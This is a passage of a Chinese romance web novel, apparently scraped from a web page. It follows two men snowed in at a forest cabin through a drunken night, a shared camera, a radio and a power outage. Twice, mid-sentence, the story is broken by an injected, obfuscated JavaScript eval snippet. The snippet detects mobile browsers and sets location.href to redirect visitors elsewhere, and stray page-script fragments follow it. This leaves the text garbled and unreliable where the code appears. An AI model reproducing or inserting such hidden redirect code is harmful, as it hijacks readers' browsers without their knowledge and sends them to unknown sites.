索性阙与山露在外面的皮肤早就冻得通红,羞愧的那抹就算涌上耳尖也不会被人发现,更何况还有一堆泥点子遮盖。 他利索地脱了身上的脏衣服,换了一身暖和臃肿的厚衣,刚准备掬一捧雪搓洗脸上的污垢,一条温热的毛巾便盖住了他的视线,昏暗前扫的最后一眼,是许藏。 许藏的动作温柔,将他的脸擦得很干净,短短的头发中夹杂的草木根也被一个个地拿掉,一盆热水洗到泛凉变灰,他总算被揉搓出真正的面容。 阙与山的身体很僵硬,他明确知道自己不是被冻的,毕竟他从小生活在冰天雪地里。 许藏当时的性子并不冷,甚至大大咧咧很爱笑。 他顶着被冻得泛红的鼻尖耳朵和脸颊,弯着眼睛笑,用泛粉的手指在阙与山的鼻子上点了点,又抚了一下他湿漉漉的眼尾,吐出的声音冒着热气:“小狗。” 一样的肤色,相同的天气,微变的嗓音,悬殊的神色,甚至他们两个相距近五米,阙与山还是听到了那句失真的亲昵。 他以为隔了十四圈年轮那样久的时间,记忆就会褪色失声、缺斤少两乃至消失,然而强烈的情绪足以化作陈旧沉重的铜锁,将其束之高阁。 阙与山明明站在木屋里、壁炉前,却感觉自己在失温。 他不知该怎么样宣泄浓重如雾般的情绪,或许他应该就现在将那串果木壳捏碎,可理智却将他禁锢在原地——许藏喝醉了,许藏喊人之垠。 阙与山撑不住自己的视线,缓缓垂落,手指被捏到微微变形。 他拖着卡顿的双腿,行至桌子前,仅仅将残留的酒壶和酒杯送往厨房,再回来走到许藏面前时打算将土豆拖到单独的狗屋。 “小狗。”许藏一动不动地盯着他看,眼尾被烧得更红了。 阙与山闭了闭眼,再睁开时俯下身,一只攥到红的手狠狠地掐住许藏的下颌,却又克制地收着劲儿。 他大约也醉了,一双眼睛热得难受,模样应该狰狞无比,声音嘶哑难听:“许藏,你在叫谁?” 4. 早说你喜欢他啊 木屋外的雪反射清晨的光透过窗户,将正厅照得很亮。 昨夜忘记给窗户遮上帘子了,阙与山半梦半醒间蹙眉想,下意识去拽被子遮光却偶然触碰到不同于布料的光滑细腻,还带着热度。 阙与山的手瞬间抬起很高,睁开眼后以极近的距离看到了,自己的另一套居家服微微敞开露出白皙、线条流畅的一片胸膛,呼吸间,灼热的气流扑在上面将起伏的皮肤染上红色。 一条劲瘦的胳膊有力地圈住他的腰,袖子被蹭得堆在肘部,泛凉的手指搭在他的后腰,时不时地点一下引起战栗。 他挤在许藏的怀里! 意识到这件事后,阙与山霎时抬头,额头倏地碰到许藏的下巴,引起不舒服的哼声。那声音近在咫尺,一下下地刮着他的鼓膜,悬在半空的手臂放也不是抬也不是,颤得受不住后,只能认命又别扭地将许藏的衣服拽直,轻搭在了其腰上。 阙与山偏开视线依然能在余光中看到那抹扎眼的白色,索性闭上眼一点点地从许藏怀里往上挪,至少对方醒的时候不能看到他埋在人家怀里的景象,简直像是他主动投怀送抱一般。 明明被子只有一截拉到腰部,他还是觉得浑身上下像是烧起来一样,越发滚烫的皮肤与许藏微凉的胳膊相贴,实在是不好受。 他挣了半天,总算以一种极为君子的躺姿僵在沙发床上——仰身、直肢、僵硬,两只手交叠在胸前。 之所以没有交叠在腹部,许藏的胳膊实在是固执,掰开还会自动缠上来,速度之快如若不是阙与山打包票他不会开这种玩笑,都会怀疑许藏在逗弄他。 许藏和他朋友睡觉的时候也是这样无理取闹吗? 阙与山两只漂亮的眼睛瞪得很大,盯着天花板上的木头纹路看。他懊恼地回想,怎么会变成这副场景呢? 昨夜许藏连叫了两声小狗,目光都落在他身上。 阙与山受不了他那副情绪堵不住一股脑往外倾泻的模样,在他醉得不省人事、分不出人的时候,克制不住地掐上了许藏的下巴,逼他说出小狗是谁。 他的目光不自觉地从那双含着水光、烧红的黑眸往下落,蜜色的手指用力地擒住许藏,按在白得泛红的脸上,色差格外激人。 许是他气力过大、动作强势,许藏皱着眉不舒服地想要逃。阙与山不仅没放开手,还变本加厉地下挪侧移卡在了他的后颈上,大拇指在许藏滚动的喉结上摩挲,强硬地掌控着不让他后退。 阙与山单腿曲着跪上沙发,凑近后眼都不眨一下地睨着他:“谁是小狗?” 在他的步步紧逼之下,许藏非得没有开口,神情也很难得地沾上了点委屈,甚至第三次地开口小声地喊:“小狗……” 喝醉的许藏都不会哄骗他——小狗是你。 霎时,阙与山狼狈地瞥开眼,强挤出来一句:“别喊我小狗。” 扔下这句,他一把抓住旁边的土豆,塞到了狗屋里,并给它添了吃食。 阙与山收拾完后,就在昏暗的厨房里没有出来,不知从哪找到的冷酒,又灌了自己几杯。 后来是喝醉的许藏摇摇晃晃地推开了厨房的门,目光迷离地从他手中的酒杯看向那双暗藏风暴的灰蓝色眸子。 他陡然笑得很灿烂,背着光都能让阙与山恍惚自己所处的是木屋,还是十四年前的破屋。 许藏朝他走了几步,伸手拽住他的衣摆,唔哝道:“洗、澡。” 阙与山被定在了原地,直到许藏用力地抓了他的衣服,他才错开眼仓皇地夺门而出,从自己的行李箱中翻出替换的居家服,僵硬地直视前方,将许藏引到了浴室。 再后来,直到浴室的水声停止,站在门口的阙与山才回了魂,将居家服搭在门前,窘迫又慌乱地将折叠床搬了进来。 许藏湿漉漉地站在地毯上,身上还冒着湿润的热气。 阙与山的动作有点慌忙,撑开沙发床的时候被卡了好几下,才艰难地撑开。他抱来被子,刚将许藏安顿好,就被醉鬼一只手抓住拽上了床,咕哝的理由直到快睡着才给出。 “暖和。”许藏说罢便凑了过来,舒舒服服地将僵硬的阙与山当抱枕。 阙与山的姿势没变,从酸到麻,听壁炉里的木头噼里啪啦响、火花炸开几百次才隐隐有睡意。 他模糊入睡前才想起来一件至关重要的事,折叠床立在壁炉旁没摊开。 等等,折叠床! 阙与山猛地将视线从明亮的天花板上挪开,瞥向不远处的折叠床,它被搬进来后便无人问津。他想,为防林木深看到什么奇怪的画面,他必须要和睡着的许藏斗智斗勇了。 许藏的胳膊被阙与山攥着,小心翼翼地掀开一个角度,侧着身往外挪。 细密的汗一下子漫上了他的额角,感受到许藏的挣扎,阙与山抓住他的手没松,缓缓地从沙发床上半跪了起来,一只脚已经踩到了地毯上。 就在此时,通往二楼的木质楼梯发出很响的一声。 阙与山侧过头循声看去,与穿着睡衣、顶着一头鸡毛、瞪大眼的林木深面面相觑,最坏的事情发生了。 阙与山极速判断了一下林木深眼中的画面,他单腿跪在沙发床上,俯身看许藏,一只手还紧紧攥着人家的腕子,活像爱而不得、大早上爬床的猥琐变态。 他下意识想甩开烫手山芋,鉴于那是许藏的胳膊,阙与山还是老老实实地将它慢放到沙发床上。 林木深又轻又快地下楼,站在壁炉边上的折叠床旁打量它,判断其上还落着灰几乎没有使用痕迹,余光看到阙与山赤足而来,立马低声讯问:“你昨夜和许藏睡一起?” 还不等阙与山狡辩,他快速地接道:“怪不得一见到他就跟吃了枪药似的,别扭死了,早说你喜欢他啊?” “我……”阙与山的话堵在口中。 林木深拍了拍他的肩膀,一副很懂的模样:“人生总有那么几段无疾而终的感情。” “不是你想的那样。”阙与山皱了皱眉,联想到昨天许藏的电话,声音都沉了下来,“总之,刚才的事你就当没看见过。” “你不是还要巡山?别废话,赶紧走。” 林木深走后,阙与山瞥了一眼许藏,将窗户的帘子拉上了遮住了大部分光线,转去厨房。 他的大脑放空,目光不自觉地通过窗户落在纷纷扬扬的大雪上。直到盯多了眼部不适,阙与山才垂眸做饭。 等他端着早饭和解酒的蜂蜜水从厨房出来时,许藏已经醒了,有点懵地坐在床上发呆。 阙与山把东西放下,又将窗户的帘子掀开,转身看向许藏,顿了一下试探:“林木深的酒后劲儿很大,你还好吗?” 许藏缓慢地点了点头,推开被子,两只被捂到白中泛粉的脚陷在厚重的地毯上,足尖轻点显出流畅的线条,绷得很直的侧面有几根突出的筋。 阙与山不自在地移开视线,绕过沙发将蜂蜜水递给他:“喝点解酒。” 许藏接过抿了一口便捧在手里,怔怔地盯着身上的居家服,突然问:“我昨夜喝醉,林木深上楼后的事断片了,没有冒犯吧?” 闻言,阙与山垂在身侧的手不由得捏了起来,他面上轻笑了下:“没有。这里条件不比其他地方,只能委屈你穿我的衣服了。” “洗得很干净。”他又强调了一句。 许藏低着头说了声谢谢,将蜂蜜水喝完后兀自去洗漱,再出来时就见阙与山坐在桌子前安静地用餐,他自觉地坐到了摆有吃食的对面。 阙与山抬眸扫了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233874|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼收起所有表情、截然不同的许藏,伸手进口袋将其中的果木壳捏得暗响。 或许是许藏将昨晚的事忘得一干二净,依旧能举止泰然、若无其事地冷淡无言,阙与山很想挑出他的错处让许藏无处隐藏、溃不成军:“许藏。” 许藏掀起眼皮:“嗯?” “所谓的修仙是假的吧?”阙与山的视线在他的脸上逡巡,不放过一丝神情,“清修之人要断情绝爱,你不像是这样的人。” 许藏满不在乎地点了点头,承认:“自然是假的。没有情感,何以为人?难抛所爱,何以成仙?” 不知怎么地,阙与山听到这话霎时联想到许藏的那句“之垠”,脸色一下子沉了下去,漂亮的灰蓝色眸子也变得暗淡无光。 他错了,妄以此身击破许藏坚硬的壳子,如同以卵击石,一败涂地。 许藏慢吞吞地喝了一口粥,目光落在阙与山攥着筷子的指节上,用力到苍白。 他看着看着突然开口:“林木深有恋人吗?” 阙与山瞬间抬起头,眼中盛满惊讶。他突然像是想到了什么,表情有点古怪,警觉道:“你什么意思?” “没有别的意思,只是好奇。”许藏面色平静,实在是不像是藏着什么坏水,“他人很好,脾性和善友爱,而且既能干又会做饭,怎么想都不像是单身。” 他见阙与山还是一副不全然相信的警戒模样,解释道:“像我这种做深夜电台的,难免觉得无聊。” 阙与山半信半疑地看着他:“林木深还没有恋人,说是怕耽误人家。” 许藏的表情不变,兀自点了点头。他将碗里的粥喝完后放在桌子上发出轻响,以一种打量的目光看向阙与山,重点在他的左耳环绕,将人盯得极其不自在。 他骤然笑了一下,嘴角上扬的弧度实在是与刚才的冷淡不同:“那串耳坠怎么不带了?” “好看吗?”大概此时的许藏与阙与山记忆中逐渐重叠,他很轻易地透露了自己的心声。 此话一出,一下子敲碎时间的骗局,阙与山倏地站起身头也不回地离开,只留下一句昨日找衣服时耳坠落在杂物间。 果木壳耳坠一直在他的口袋里,阙与山撒谎了。 阙与山轻轻依靠在杂物间的墙上,目光飘渺落不在实处。他闭了闭眼后,漫无目的地摊开自己的行李箱,手在其中随意摆弄,一件衣服被翻来覆去地挪地方。 杂物被翻动的声音掩盖了脚步声,等阙与山意识到自己身后站了许藏时,已经过了很久。 他转过身仰着头,从下至上扫了一眼许藏后,又垂下眼眸摆弄东西。他翻出了许藏送过来的镜头盖,它并没有在相机上,只被随意地扔到一角。 “好看。” 许藏的声音从身后传来,未免阙与山装没听到,他又说了一遍:“你戴它,很好看。” “哦。”阙与山从口袋里摸出果木壳,装作刚从行李箱里找到一样,无意识地将它往左耳方向捅。 他已经十四年没有戴过这个耳饰了,近期仅有的两次还非常不顺利,导致阙与山现在依旧生疏。 许藏像是看不下去了一般,轻叹了口气,从他手中夺过了耳坠,轻巧地挂在了阙与山的左耳。 他错过身子,在阙与山的不远处屈膝蹲下,从一堆混乱中抓了一个小巧的相机,也不说话,自己琢磨捣鼓了半天。 这样安静的氛围时刻拷打着阙与山,他绷着嘴唇不知所措。 “阙与山。”许藏突然喊他。 阙与山转过头,几缕微曲的额发落在了眼皮上,灰蓝色的眸子浸着疑惑,果木壳在空中划出一道弧线。 “咔嚓——” 镜头里的光圈叶片仿佛有了生命,猛地缩了一下。 5. 完璧归赵 许藏的脸从相机后面露出来,看起来心情不错。 他将刚刚抓拍的那张照片调了出来,画面中从窗户落下来的明光正好斜斜地映在阙与山的脸上,将那双灰蓝色眸子衬得很浅,湿润透光好似琉璃珠子,头发凌乱增添了几分随性,果木壳摇在空中,再加上略显怔愣的表情,一切都恰到好处。 “好看。”许藏很是满意这张照片,放大缩小反复欣赏。 许藏将相机举到了还傻在原地的阙与山面前,期冀问道:“怎么样?” 阙与山的目光终于落在了实处,跟随许藏的调试看了局部和全部,以一个摄影师的角度点了点头,公正地评价道:“好看。” 许藏拍得确实不错,虽然是抓拍,构图和光影却拿捏得异常恰当,几乎能和专业人士媲美。作为不怎么钻研人像的自然摄影师,阙与山自认没有他拍得好。 “里面只有一张刚刚的照片,你之前拍的都导出来了?”许藏对相机上手很快,尽管从来没用过这个型号,也能精准地判断存储卡是空的。 得到确定的回答后,许藏想了一下,真诚地请求道:“大雪封山的这几天,这个相机能专借给我用吗?” 阙与山神情微变,目光落在相机上,许藏修长的手指攀在其上,腕骨突出,手背上青筋蜿蜒。 他有点走神,恍惚间点了点头。等许藏已经拿着相机起身了,他才意识到要问:“拍玉琼雪林吗?” 其实阙与山更想说,玉琼雪林几乎被他拍遍了,照片就存在他的笔记本了。 可转念一想,照片的灵魂在于执持相机的人。虽然风景大差不差,但拍出来的照片所含的情感是不一样的,甚至许藏比他更能懂这些。 从下而上望过去,站起来的许藏极高,甚至微微下瞥的眼神有些睥睨。他没有及时回复,而是以由上及下的角度在阙与山的面上打转,神情很冷像是刚从外面沾满风雪回来。 许藏偶然笑着歪了歪头,化开了冰雪:“是啊。” 阙与山突然变得慌乱起来,不仅移开了视线,两只手还不停地在行李箱里乱摆,藏在头发之下的耳尖热到泛红。 倏地,他摸到了一件丝滑的东西,顺手将它从行李箱凌乱的角落里拽了出来,摊在了杂物的最上面。 许藏的视线本就没有从阙与山身上移开,此时见到他手中的东西,微微眯了一下眼。 他将相机熟练地挂到自己的脖子上,伸手抓住阙与山的胳膊,让他站直身体,随后很自然地从其手中接过了那条称得上是纱的布料。 许藏将它翻来覆去看了好几遍,很素、没有花纹,亦没有什么奇怪的痕迹,摸起来只有被阳光曝晒后的微微干瘪发硬。 他把纱举到了眼前,隔着它朦胧地看向阙与山,听不出语气地问道:“这是什么?” “我去沙漠拍摄之前,在路边一个小摊上买的。”阙与山神情放松,回忆起这件事眸中带着几分看不懂的情绪,复杂难懂。像是灰蓝色裹满了黄沙,被淹没前的凝望。 “摊主是一位老妇,这条梅染色的罗是她织的。据她说,这是千年前流传颇广的技艺,四经绞罗的素罗。罗、绮、纱、绢、缣、锦、绫等,曾一度带给黄沙漫天之地络绎不绝的繁华。四经绞罗还有一种带花纹的花罗,很久之前就失传了。” 他的话像是卷起了千里之外的苍凉,无端地朝许藏袭来。 许藏垂眸在那条素罗上瞧了一眼,突然挑起了另一个话题:“你听过一个名叫沙漠边缘的故事吗?” “听过。”阙与山脱口而出。 闻言,许藏有些意外地看向他,转头间眼中有光流转:“听过?” 意识到自己说了错话的阙与山僵在了原地,他侧头敛眉,避开了许藏的打量,心如擂鼓却仍要装作风轻云淡的模样:“我刚刚走神了,你说什么?” 不知许藏信了没有,他语气不变地重复刚才的问题:“沙漠边缘,这个故事你听过吗?” 阙与山这次很快地摇了摇头,表示自己没听过。 许藏示意他跟自己从杂物间出来时,檐下的栏杆上积了一层很厚的雪,已经冻上了,虽然是背风面寒冷依旧,但脚下和身后的木板散发温热,依然可以身穿居家服短暂地停留在屋外。 院子外不远处有一抹黄影在雪中上下起伏,时不时抖落纷白的雪花。 许藏盯了一会儿,突然举起挂着的相机对准那个地方,对焦后才看清是一条田园犬。 阙与山想起许藏喝醉断片的事情,往前走了几步到栏杆处,背对着许藏有些别扭地开口:“那是林木深养的狗,起名土豆,它被林木深放养,时常在雪地里撒欢,半夜才回家。” 明明昨晚的许藏摸着土豆的脑袋时反应很大、情绪也很汹涌,而此时的他几乎要与栏杆上的冻雪融为一体,连应和询问的声音都没有。 过了几秒,后方的许藏毫无预兆地开口:“在沙漠的尽头,边缘地界有一个村子,世代以横贯沙漠的细河为生。细河的源头在沙漠南部的高山上,行至这个村子已经是陌路,缺水的事情是常有的。一日,细河与村子的缘分终于消失殆尽,它彻底干涸了,徒留丑陋的河床。” “村子里选出了一位替大家重新寻找新水源的勇士,他将带上所有人的期盼,背上行囊出发。” 许藏往后退了几步,倚在木墙上,移动举起的相机,直到画面中出现阙与山的背影。他用说话的声音完美地掩盖相机的快门声:“村子里的人等啊等,等到储存的水都喝完了,终于等来了第一个来到村子的外乡人。他形容枯槁且丑陋至极,脸上的皮坠得看不出原本的模样,却生得一张血盆大口,力气也很大。” “外乡人不顾他们的阻拦,以强硬的姿态夺走了他们仅剩的食物。他们饿了很多天,也缺水了很多天,早就无力对抗,只能眼睁睁看着外乡人嚣张地席卷物资后离开。” 许藏垂眸看向相机上的画面,有些心不在焉地继续讲述:“村子里的一部分人们决定重新在干涸的河床下寻找,哪怕只有涓涓细流,他们便不会渴死。他们在龟裂的土地上又行了几日,见到了第二个外乡人,她披头散发身着红衣,很喜欢笑,笑起来通常停不下来,直到血液从七窍流出。” 许藏又拨了几下相机,像是不合格的讲故事者,忽然不想讲下去了一般,很直接地问:“知道结局是什么吗?” 阙与山知道,但是他撒谎了:“不知道。” “村子的人们还是等到了勇士,勇士带着他们移居了新的水源旁,过上了快乐的生活。” 许藏走到了阙与山的身边,将那条素罗挂在了他的脖颈上遮住被冻得冰凉的皮肤。他侧过头看不知在瞧什么而发愣的阙与山:“很完美的结局,不是吗?” 原故事结尾并非如此,阙与山恍惚间转过头与许藏对视的那一刻,妥协了:“是。” 他发表了赞同的意见后,从身上扯下了那条素罗,塞到了许藏的手中,颤动的眼睫和发出空灵声响的果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233875|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木壳交相辉映:“送你了……算是感谢你冒雪上山,将我落下的镜头盖送还。” 阙与山送完东西就急切匆忙地进屋了,许藏敛眉下移视线,并没有正式地接过那条素罗,轻薄的纱一角盖在他握着相机的手腕上。 他好似不怕冷,穿着单薄的居家服在檐下风雪处瞧了很久,梅染色衬着他裸漏在寒冷中的手背白得发青。许藏最终还是什么话都没说,面无表情地拖着素罗进了正厅。 许藏进屋后随意地将那条素罗搭在了沙发的靠背上,背着相机一步步走到了壁炉旁,垂眼看向身侧的那个立着的折叠床。 直到阙与山抱着笔记本从二楼下来时,他才挪开视线,语气平淡地开口道:“这张折叠床看着很硬,睡着不舒服吧?” 根本没有睡折叠床的阙与山脚步一顿,瞥开视线又很快挪回来,若无其事地回应:“还好,常年在外,习惯了。” 许藏了然地点了点头,目光跟随阙与山来到沙发旁,出其不意:“既然睡着不舒服,就不用它了,你闲时将它放回去吧。” “我今早醒来时,发现沙发床很宽,容纳我们两个绰绰有余,不必舍近求远,今晚我们挤一挤就行。” 阙与山刚刚摊开笔记本,闻言诧异地瞪大了双眸,满脸的不可置信。 要不是许藏昨晚断片,今早又醒得晚,阙与山都会以为他是在讽刺挖苦自己经不住诱惑。 或许许藏并不觉得两个男人睡一起会有什么别扭的,又或者许藏已经习惯了和男人睡在一张床上。 无论是哪个原因,都让阙与山的表情在惊讶后变得微微扭曲,灰蓝色的眸子一下子变得深邃,脸色也沉了几分。 许藏微偏过头无视他的反应,话音一转:“你怎么从二楼下来了?林木深他……” 他故意停顿了一下,等阙与山解答。 “林木深一早就去巡山了,不下雪时至少要巡一天,如今雪路难行,怕是近几天都看不到他了。不过他在雪林里有好几处站点,很少回木屋也是经常的事情。” 阙与山说完后转而回答第一个问题:“他很宝贝自己的房间,通常不让别人进。平时充电还要转交他手,如今他走了,方便了不少。我需要笔记本整理一下前几日在雪林里拍的照片。” 许藏像是偶然来了兴趣:“你拍照片趴的雪窝,可以带我去看看吗?” 阙与山点开照片的手顿了一下:“可以,等雪小一点我们再出门。” 许藏乐见其成地点了点头,随后往折叠床的方向又走近了点,再次强硬地提出了无理的要求:“阙与山,你要是忙的话,把它的位置告诉我,我搬过去就行。” 阙与山闻言抬眸与许藏目光相接,对视了几秒后,狼狈地败下阵来。 他放下了手里的工作,直起身朝许藏走来,错身弯腰将折叠床扛了起来,完璧归赵送回了杂物间。 许藏又跟在他后面进了这间包罗万象的杂物间,视线从阙与山的行李箱上一寸寸地审视过去,发现了一个缠着耳机线的小型收音机。 他径直走过去,将它抓在手里,拽脱了缠绕着的耳机线,捏起一只塞到耳朵里,打开了收音机。 在一段杂乱的电流音后,是一档欢快的广播电台节目。 许藏认得这档节目,是秋城广播电台新推出的互动节目,主播是最受欢迎的新人,声音很有特色。 所以,这个收音机调的频道是秋城广播电台,亦能听到许藏的深夜节目。 6. 耳朵不好 阙与山转过身看到的就是这样一副场景,许藏带着单只耳机,手里托着自己的收音机,表情有点怔。 霎时,他心头猛地一跳,浑身的肌肉不自觉地发颤,甚至幻听到果木壳因身体发抖而激出的空灵声,那若有似无的、强烈的碰撞音不断地勾动着心弦。 阙与山狠狠地攥着手,指尖深深陷入掌心。他面上绷紧强撑着不失态,艰难地故作轻松:“怎么了?” 许藏抬起漆黑的眸子与他对视,呆滞地将手中的收音机举在半空,喉结滚了滚:“这个收音机播的是秋城广播电台节目,你……” “哦,你说收音机的频道啊,”阙与山一下子将话抢了过来,装作不在意地摆了摆手。 他脸上的肌肉被克制得发僵,侧过身逃开视线后拿起一个相机又放下,再拿起另一个无意识地调试着,语速很快地解释:“趴雪窝的时候太无聊,随便调的一个频道。我当时也没听出来是哪的节目,你现在说了我才知道是秋城广播。” 阙与山盯着亮起来又暗下去的相机屏幕,突然轻笑了一下缓解不安的情绪:“还挺巧的。” 许藏的视线落在阙与山侧脸上,瞧他自若地勾起嘴角,也跟着扬起唇角笑了一下,只是那双眸子很快地沉了下去,看不出情绪。 “是挺巧的。”他没有主动将收音机物归原主,而是很自然地霸占在手中,捏着另一只耳机塞到了耳朵里。 许藏的耳边只剩下夹杂着微弱电流声的广播电台,节目正进行到观众来电环节,吵吵闹闹的欢乐气氛并没有渲染到他。 他自顾自地被收音机和耳机线夹击,像是自囚在它们的束缚中。 耳机里是新人主播向观众拜早年的声音,眼前是不知说着什么的阙与山,而许藏听不到他、只能看到他的口型。 他没有摘下耳机,也没有调低声音,更没有关闭收音机,而是很自我地转过身离开了杂物间。 只有被留在原地的阙与山听到了自己刚刚的话。 大约联想到了不久前在这里被抓拍的照片,他难得压制住窘迫主动地剖析自己:“许藏,我听过你的节目,讲得很好。” 可惜,许藏没有听见。也许,许藏不想听见。或者,许藏装没听见。 对于许藏那副拒人千里的冷淡模样,阙与山反而适应得很好。他敛眉看向杂乱的行李箱,因为它被摊开、被观赏,从而引发了些许事,以后不会了。 他将手中的相机稳稳地放回原处,又将行李箱里的东西收拾妥当,果断地合上后立在了杂物间的角落。 阙与山回到正厅时,许藏正坐在沙发上听收音机,他闭着眼一副很沉浸的模样,脑袋后仰在沙发靠背,压着搭着的那条素罗,两条腿曲着赤足踩在沙发边缘,胳膊环过膝盖,一个很防守又放松的姿态。 他走到许藏的旁边坐下,沙发往下陷了一截,但是许藏仍然没有睁眼。 阙与山看了他两眼,自然明亮的光镀在许藏的身上,柔和了他冷硬的边角。 他收回视线,从一旁抱起自己的笔记本,又抓了一个靠枕挤在大腿与笔记本的中间权作增高,快速地浏览照片。 大概才看了几十张照片的样子,阙与山蓦地感到自己的肩膀一沉,臂膀上贴上了一具温热的身体。 他的身体顿时僵在了原地,划照片的手指以一个别扭的姿态顿在半空中。 阙与山微微偏头,侧眸转向自己的肩膀,猝不及防看到了许藏睡熟后依偎自己的模样,很乖很温驯。 他的眼睫颤动,左耳的果木壳轻轻碰撞,发出的声音将他此时的念头全部按了下去。阙与山的视线轻移,落在许藏的耳侧。 几秒后,他伸手将一只耳机从许藏那里拿回来,为了适应耳机线,歪了歪头后半张脸埋进了许藏蓬松柔软的头发中。 阙与山将耳机塞进了耳朵里,听到里面播放着陌生的电台节目。 主播应该是个年轻男子,声音很清澈与青春。 阙与山皱了皱眉,将耳机摘了,连带着取下了许藏另一只耳朵里的,动作迅速地将从他手中散落的收音机抢过来,熟练地缠上耳机线,关闭后扔到了一旁。 许藏被人抢了收音机和耳机也没醒,看起来很是疲惫地将头往阙与山的肩膀上靠了一下,动作很是谨慎,小心翼翼地磨蹭到舒服的位置才停止。 他明明起得晚,却很可能因为醉酒的原因,异常怠倦。 按理说,许藏的这个姿势睡起来并不舒服。 但是阙与山不想放人,他默许了对方无礼的行为,又厚颜无耻地占领道德高地。 阙与山刚扫完一个存储卡的照片,许藏极其难受地蹙眉,肆无忌惮地越过了安全距离,脑袋挤在了阙与山的脖颈处,呼吸从急促到平缓,手也不老实地虚环过他的身前。 半日不到经历了两次同样的画面,阙与山颈侧和手臂上的青筋乍起,被直接触碰到的、被间接隔着衣服挨着的、被呼吸扑满的皮肤微微战栗,不一会儿便烧满了红色。 阙与山想,许藏睡觉真的很不老实,非常不安生。 他转念又想,那个叫什么之垠的,居然没有告诉过许藏这件事,也许他们并没有一起睡过……他甚至放任许藏一个人在大雪之际上山,极其不负责任。 阙与山的脑子在许藏挤过来时就宕机了,兜兜转转想了一圈又给自己修好了。 他非常自如地以被一个别扭的姿势继续干活——许藏的手臂将他的胳膊强硬地圈在了身前,只能艰难地挪动手腕。 光影缓慢地在地毯上移动,从许藏蜷曲的赤足挪到阙与山僵直的双腿,笔记本的电量告罄,弹出了一个红色的警告窗口。 阙与山保存好所有的东西,将笔记本合上,准备送去二楼充电。 颈侧柔软的脑袋宣示许藏的存在,他睡得极好,规律的呼吸声,也不会乱动,只是爱缠人。 阙与山轻叹了口气,一如早上那样,僵硬地将许藏的胳膊先挪开,然后让开位置,再缓缓地把许藏放平。 然而,这次并没有好运气,他托着许藏的上半身往沙发上放的过程中,许藏睁眼了,惺忪怔愣地瞧着面前俯身弯腰的人。 阙与山被抓包后顿了一下,带着一抹尴尬的神色继续动作,让人躺到了沙发上,轻声:“你睡着了,我帮你挪个舒服的姿势。” 许藏没说话,一双漆黑的眼眸睁得很大,带着独属于他的复杂情绪,像是阴天海面卷起的漩涡。 “还睡吗?”阙与山又问。 许藏刚被放平,又撑着身子坐起来,摇了摇头后视线落在一旁合着的笔记本上,像是意识到了什么,沙哑的嗓音吐出:“要去充电?” 阙与山点了点头,瞧他没什么异样,便抱着笔记本往二楼去。 不一会儿,他又抱着笔记本回来了,眉头紧皱,边走边说:“停电了,我去外面看一下。” 还不等许藏说什么,阙与山将笔记本放下,抓了一件很厚的棉大衣披在身上,匆匆忙忙地出门。 许藏追出去后没在院子正面看到阙与山人影,只瞧到了外面的雪依然如自己上山时那般大,洋洋洒洒地在空中飘荡,最后轻而重地积压在泥上、枝头。 突然,后院传来了车门开合以及引擎启动的声音。 许藏站在檐下,一双手毫无知觉地按在冻雪之上,半个身子探了出去,几秒后视线在侧方锁住了一辆积满雪的皮卡,驾驶座上的正是带着雪镜的阙与山。 上山时的那条平整的路早被雪淹没了,阙与山完全是凭着记忆在开皮卡。 它的速度并不快,轮胎不断地转出深厚的雪,几乎是挪着往前走。就这样缓慢的进程,还是免不了打滑的风险。眼见着皮卡朝着一侧的云杉滑去,阙与山严肃又果断地猛打方向盘,擦着那颗树走回了正路上。 虽然有惊无险,还是让许藏的心骤然一跳,不免喊出了声。 “阙与山!” 阙与山没听到,开着皮卡走了。 直到那辆车消失在视线尽头,许藏才收回目光,手指冻得通红发紫,像是有针在上面扎,又痛又痒。 阙与山再回来的时候,天刚刚暗下去,深蓝色的雪被皮卡的车灯照得发光。 他将皮卡停到了后院,紧挨着房子的地方,从正厅的窗户往外一眼就能看见。阙与山熄了火,从驾驶座上跳下来,一步步艰难地挪到皮卡后面,扛下了一个小型发电机。 雪下得很大,裹挟着风朝阙与山刮来,吹得他身体极其僵硬,关节似乎被冻住了,一走一响。 他扛着小型发电机来到木屋的正面时,突然顿在了台阶上,隔着雪镜和檐下栏杆后的许藏相望。两秒后,他收回了视线,快步走到许藏旁边,把发电机扔到一旁,脱掉防水手套后粗暴地扯开棉大衣的扣子,将冷得只剩眼珠在转的许藏包了进去。 阙与山几乎是面对面展开双臂强抱起许藏进屋的,站在壁炉的前面用自己的体温搓热他的皮肤。 他是该骂许藏的,可见到许藏极缓地眨了一下眼、发青的嘴唇抿了一下,又将脏话咽了回去,耐着脾气:“停电也没事的,木屋不怎么需要电,只要壁炉不熄,不会饿死、也不会冻死。” 许藏的身体从僵硬变得柔软,阙与山没把他放出来,将他在棉大衣里翻了个面,从背后拥着许藏。 随后,他将许藏的那双手攥住,摘下雪镜扔在地毯上,借着壁炉的火光下瞧了一眼,肿得发紫、触目惊心。阙与山闭了闭眼,用温热的手紧紧地抓住揉、搓。 “阙与山。”许藏的嗓音哑得难听,平得听不出情绪,“你回来了。” 阙与山看不到他的神情,只知道自己的脑袋再往下一寸,下巴就可以埋在许藏的颈窝里。 “嗯,先不要说话。”他还在不断回想站在台阶下看到冻僵的许藏那幕,语气不是很好,甚至有点冲。 冷到慢半拍的许藏很好说话,阙与山一声警告后,他就不再出声。 